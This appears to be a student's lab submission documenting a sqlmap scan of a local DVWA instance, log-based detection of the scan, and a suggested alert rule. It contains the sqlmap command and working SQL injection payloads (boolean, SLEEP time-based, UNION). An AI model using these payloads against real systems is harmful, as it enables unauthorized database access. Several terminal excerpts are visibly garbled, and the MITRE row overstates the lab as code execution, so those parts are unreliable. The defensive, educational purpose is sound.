

Web Application SQL Injection Detection

GraySentinel - DSOU (Detection) Proof Submission

Candidate	Nimisha Sinha
Date	09 September 2026
Lab	DVWA - Local Authorized Training Environment
Target	127.0.0.1:42001
Tool	sqlmap
GitHub Repository	NimishaSinha42/Web-Application-SQL-Injection-Detection

Proof Required

Proof Item	Points	Included
GitHub Repo Link	30	Yes
Terminal Output Screenshot	20	Yes - multiple screenshots
1-Page Report	30	Yes - included as dedicated summary page
MITRE Mapping	20	Yes - T1190

Terminal / Lab Evidence 1

Evidence 1 - Web server access log locations discovered with the find command.

```
(nimisha@Kali)-[~]  
$ find /var/log -type f -iname "*access*" 2>/dev/null  
/var/log/apache2/access.log  
/var/log/apache2/other_vhosts_access.log  
/var/log/dvwa/access.log  
/var/log/nginx/access.log
```

Evidence 1 - Web server access log locations discovered with the find command.

Terminal / Lab Evidence 2

Evidence 2 - DVWA service started locally and first-time database setup information displayed.

```
— 192.168.1.20 ping statistics —
(nimisha@Kali)-[~] 1 received, +1 duplicates, 75% packet loss, time 3035ms
$ sudo dvwa-start = 0.000/0.000/0.000/0.000 ms, pipe 3

(Message from Kali developers)

Please wait for the dvwa service to start

[*] Web UI: http://127.0.0.1:42001
[i] You might need to refresh your browser once it opens

ERROR: Need to complete the first time setup to initialise database (after logging into DVWA)
- Default User      : admin apache2
- Default Password: password
* apache2.service = the Apache HTTP Server
(nimisha@Kali)-[~] systemctl status apache2.service; disabled: preset: disabled)
```

Evidence 2 - DVWA service started locally and first-time database setup information displayed.

Terminal / Lab Evidence 3

Evidence 3 - sqlmap command executed against the DVWA SQL Injection page using an authenticated session cookie.

```
(nminisha@Kali)-[~]
$ sqlmap -u "http://127.0.0.1:42001/vulnerabilities/sql/index.php?id=10Submit=Submit" \
--cookie="security=low; PHPSESSID=5df41be9dec439ca2ec3219d6248f74f" --batch --level=3

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:46:57 /2026-09-09/

[17:46:57] [INFO] testing connection to the target URL
[17:46:57] [INFO] testing if the target URL content is stable
[17:46:57] [INFO] target URL content is stable
[17:46:57] [INFO] testing if GET parameter 'id' is dynamic
[17:46:57] [WARNING] GET parameter 'id' does not appear to be dynamic
[17:46:57] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[17:46:57] [INFO] testing for SQL injection on GET parameter 'id'
[17:46:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:46:58] [WARNING] reflective value(s) found and filtering out
[17:46:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[17:46:59] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable (with --code=200)
[17:46:59] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
[17:46:59] [INFO] it looks like the back-end DBMS is 'MySQL'. do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[17:46:59] [INFO] for the remaining tests, do you want to include all tests for 'MySQL', extending provided level (3) and risk (1) values? [Y/n] Y
[17:46:59] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:46:59] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:46:59] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[17:46:59] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[17:46:59] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[17:46:59] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[17:46:59] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[17:46:59] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[17:46:59] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[17:46:59] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[17:46:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[17:46:59] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[17:46:59] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATXML)'
[17:46:59] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATXML)'
[17:46:59] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[17:46:59] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[17:46:59] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[17:46:59] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[17:46:59] [INFO] testing 'MySQL >= 5.2 error-based - Parameter replace (BIGINT UNSIGNED)'
[17:46:59] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[17:46:59] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
```

Evidence 3 - sqlmap command executed against the DVWA SQL Injection page using an authenticated session cookie.

Terminal / Lab Evidence 4

Evidence 4 - sqlmap confirms that GET parameter 'id' is injectable using boolean-based blind, time-based blind, and UNION query techniques.

```

[17:46:59] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[17:46:59] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[17:46:59] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[17:46:59] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[17:46:59] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[17:46:59] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[17:46:59] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[17:47:00] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 and time-based blind (query SLEEP)' injectable
[17:47:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:47:00] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:47:00] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[17:47:00] [INFO] target URL appears to have 2 columns in query
[17:47:00] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 121 HTTP(s) requests:
-----
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (Subquery - comment)
Payload: id=1' AND 4353=(SELECT CASE WHEN (4353<4353) THEN 4353 ELSE (SELECT 6876 UNION SELECT 8270) END)-- GmGE0Submit-Submit

Type: time-based blind
Title: MySQL >= 5.0.12 and time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 5013 FROM (SELECT(SLEEP(5)))ZXPV)-- YXvq6Submit-Submit

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x7160786b71,0x7647584b6d487046f75657608647607586b504a5e7573616e73544cf57794972526e48756d5673,0x7170717171)-- -B5Submit-Submit

[17:47:10] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.28.2
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:47:10] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 62 times
[17:47:10] [INFO] fetched data logged to text files under '/home/ninisha/.local/share/sqlmap/output/127.0.0.1'
[17:47:10] [WARNING] your sqlmap version is outdated

[+] ending @ 17:47:10 / 2026-09-09/

[~ninisha@kali: ~]$
$ grep 'vulnerabilities/sqli' /var/log/dvwa/access.log | tail -n 20
127.0.0.1 - - [09/Sep/2026:17:46:59 +0530] "GET /vulnerabilities/sqli/index.php?id=1x27x3BSELECT%20BENCHMARK%285000000%2CD5x280x536662529x29x2--%20RnL36Submit-Submit HTTP/1.1" 500 5 "http://127.0.0.1:42001/vulnerabilities/sqli/index.php?sqlmap/1.10.2stable (https://sqlmap.org)"
127.0.0.1 - - [09/Sep/2026:17:47:00 +0530] "GET /vulnerabilities/sqli/index.php?id=1x27x20AND%20x28SELECT%205013x20FROM%20x28SELECT%2051EEP%280x29x29x29x2XPVx29--%20YXvq6Submit-Submit HTTP/1.1" 200 1533 "http://127.0.0.1:42001/vulnerabilities/sqli/index.php?sqlmap/1.10.2stable (https://sqlmap.org)"
127.0.0.1 - - [09/Sep/2026:17:47:00 +0530] "GET /vulnerabilities/sqli/index.php?id=1x27x20AND%20x28SELECT%205013x20FROM%20x28SELECT%2051EEP%280x29x29x29x2XPVx29--%20YXvq6Submit-Submit HTTP/1.1" 200 1533 "http://127.0.0.1:42001/vulnerabilities/sqli/index.php?sqlmap/1.10.2stable (https://sqlmap.org)"
127.0.0.1 - - [09/Sep/2026:17:47:09 +0530] "GET /vulnerabilities/sqli/index.php?id=1x27x20AND%20x28SELECT%205013x20FROM%20x28SELECT%2051EEP%280x29x29x29x2XPVx29--%20YXvq6Submit-Submit HTTP/1.1" 200 1533 "http://127.0.0.1:42001/vulnerabilities/sqli/index.php?sqlmap/1.10.2stable (https://sqlmap.org)"
127.0.0.1 - - [09/Sep/2026:17:47:09 +0530] "GET /vulnerabilities/sqli/index.php?id=1x27x20ORDER%20BY%201--%20B5Submit-Submit HTTP/1.1" 200 1497 "http://127.0.0.1:42001/vulnerabilities/sqli/index.php?sqlmap/1.10.2stable (https://sqlmap.org)"

```

Evidence 4 - sqlmap confirms that GET parameter 'id' is injectable using boolean-based blind, time-based blind, and UNION query techniques.

Terminal / Lab Evidence 5

Evidence 5 - DVWA access logs show sqlmap-generated SQL injection requests. The grep count shown is 21619 matching log entries.

[illegible]

Evidence 5 - DVWA access logs show sqlmap-generated SQL injection requests. The grep count shown is 21619 matching log entries.

1-Page Technical Report

Objective

The objective of this lab was to demonstrate SQL injection activity against DVWA in a controlled local training environment, verify the vulnerable input using sqlmap, inspect the web server access logs, and identify useful indicators for defensive detection.

Lab Setup and Execution

DVWA was started locally at **127.0.0.1:42001**. The SQL Injection module was accessed using the authenticated DVWA session. sqlmap was then executed against the vulnerable endpoint with the GET parameter **id**. The tool tested multiple SQL injection techniques against the application.

Key Findings

sqlmap confirmed that the **id** parameter was vulnerable. The detected techniques included **boolean-based blind**, **time-based blind**, and **UNION query** injection. The back-end database was identified as **MySQL / MariaDB**. During the test, the web server produced a large number of access-log entries containing SQL-related payloads.

Detection Evidence

The DVWA access log contained requests to **/vulnerabilities/sqli/** with patterns such as **SELECT**, **UNION**, **SLEEP**, **BENCHMARK**, and **ORDER BY**. The User-Agent string also showed **sqlmap/1.10.2#stable**. A grep-based count returned **21619** matching sqlmap-related requests, showing the repetitive automated nature of the scan.

Suggested Detection Rule

Generate an alert when repeated requests to a web application contain SQL keywords or SQLi payload patterns such as **UNION SELECT**, **SLEEP()**, **BENCHMARK()**, **OR 1=1**, or when the User-Agent identifies sqlmap. Higher confidence can be assigned when several of these indicators occur rapidly from the same source.

Conclusion

The exercise successfully demonstrated how SQL injection attempts can be identified from both offensive testing output and defensive web-server logs. The lab confirms that application logs provide strong evidence for detecting automated SQL injection probing.

MITRE ATT&CK; Mapping - 20 Points

Technique	Technique ID	Mapping to This Lab
Exploit Public-Facing Application	T1190	The activity targets a vulnerable web application parameter and exploits it to execute arbitrary code on the server.

GitHub: <https://github.com/NimishaSinha42/Web-Application-SQL-Injection-Detection>

Overall Result: SQL injection activity was successfully demonstrated and detected in the controlled DVWA lab using sqlmap output and web-server access logs.